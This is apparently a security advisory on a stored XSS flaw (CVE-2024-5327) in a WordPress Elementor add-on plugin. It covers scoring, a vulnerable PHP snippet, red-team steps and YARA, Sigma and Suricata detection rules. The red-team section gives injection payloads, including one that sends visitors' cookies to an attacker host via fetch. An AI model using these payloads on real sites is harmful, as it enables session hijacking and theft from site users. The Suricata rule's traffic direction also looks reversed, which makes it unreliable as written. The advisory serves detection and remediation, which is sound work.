CVE-2024-5327

Executive Summary

CVE-2024-5327 is a DOM-Based Stored Cross-Site Scripting (XSS) vulnerability in the PowerPack Addons for Elementor WordPress plugin (versions up to and including 2.7.19). The flaw resides in the pp_animated_gradient_bg_color parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute in the context of any user visiting the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability is classified as Medium severity (CVSS 6.4) and currently has no known public exploit or patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access with Contributor privileges, but the stored XSS can affect all site visitors, including administrators.

Deep Dive & Mechanics

The vulnerability is a DOM-Based Stored XSS in the PowerPack Addons for Elementor plugin. The pp_animated_gradient_bg_color parameter is used to set a background color for animated gradient widgets. The plugin fails to properly sanitize and escape this input before storing it in the database and later rendering it in the DOM. An attacker with Contributor-level access can inject malicious JavaScript payloads via this parameter. When a victim (including administrators) visits the page containing the widget, the payload executes in the browser context, allowing the attacker to perform actions such as stealing cookies, redirecting users, or modifying page content.

The attack flow:

1. Attacker logs in with Contributor privileges.
2. Attacker creates or edits a page using the PowerPack animated gradient widget.
3. Attacker injects a malicious script into the pp_animated_gradient_bg_color field.
4. The script is stored in the WordPress database.
5. When any user visits the page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.19): The plugin likely uses a function like esc_attr() or esc_html() incorrectly, or fails to escape the parameter entirely. Example vulnerable snippet:

$bg_color = $_POST['pp_animated_gradient_bg_color'];
// No sanitization or escaping
echo '<div style="background-color: ' . $bg_color . ';">';

Patched Code (hypothetical): The patched version would properly sanitize and escape the input:

$bg_color = sanitize_hex_color( $_POST['pp_animated_gradient_bg_color'] );
echo '<div style="background-color: ' . esc_attr( $bg_color ) . ';">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with PowerPack Addons for Elementor <= 2.7.19
• Contributor-level account or higher

Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one.
3. Add the "Animated Gradient" widget from PowerPack.
4. In the widget settings, locate the pp_animated_gradient_bg_color field.
5. Inject a payload such as:

   " onfocus="alert(1)" autofocus="
   

   Or a more sophisticated JavaScript payload:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save the page.
7. When an administrator or other user visits the page, the script executes.

Proof of Concept (PoC) Code:

// Example payload for DOM-based XSS
var payload = '"><img src=x onerror=alert(document.cookie)>';
// Inject via the pp_animated_gradient_bg_color parameter

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual changes to page content by Contributor-level users.
• Look for suspicious patterns in the pp_animated_gradient_bg_color parameter in database entries.
• Use WAF rules to block common XSS payloads.

Defense:

• Immediately restrict Contributor-level access if not needed.
• Apply input validation and output escaping on the server side.
• Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/powerpack-addons-for-elementor/ (presence of vulnerable version)
• Database: Suspicious entries in wp_postmeta where meta_key contains pp_animated_gradient_bg_color and meta_value contains script tags or event handlers.
• Network: Outbound requests to attacker-controlled domains from the WordPress admin interface.
• Logs: Unusual page edits by Contributor users, especially those containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_5327_PowerPack_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-5327 in PowerPack Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-5327"
    strings:
        $payload1 = /pp_animated_gradient_bg_color[^>]*["'][^>]*on\w+=/ nocase
        $payload2 = /pp_animated_gradient_bg_color[^>]*["'][^>]*<script/i
        $payload3 = /pp_animated_gradient_bg_color[^>]*["'][^>]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-5327 PowerPack Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via pp_animated_gradient_bg_color parameter
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/admin-ajax.php
        http.body|contains: pp_animated_gradient_bg_color
        http.body|contains|any:
            - '<script'
            - 'onerror='
            - 'onfocus='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of gradient colors with special characters
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5327 PowerPack Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"pp_animated_gradient_bg_color"; http_client_body; pcre:"/(<script|onerror=|onfocus=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available.
2. Restrict Contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in the pp_animated_gradient_bg_color parameter.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• Upgrade to a patched version (monitor the WordPress plugin repository).
• Conduct a security audit of all custom widgets and parameters.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
DevSecOps & Cyber Threat Intelligence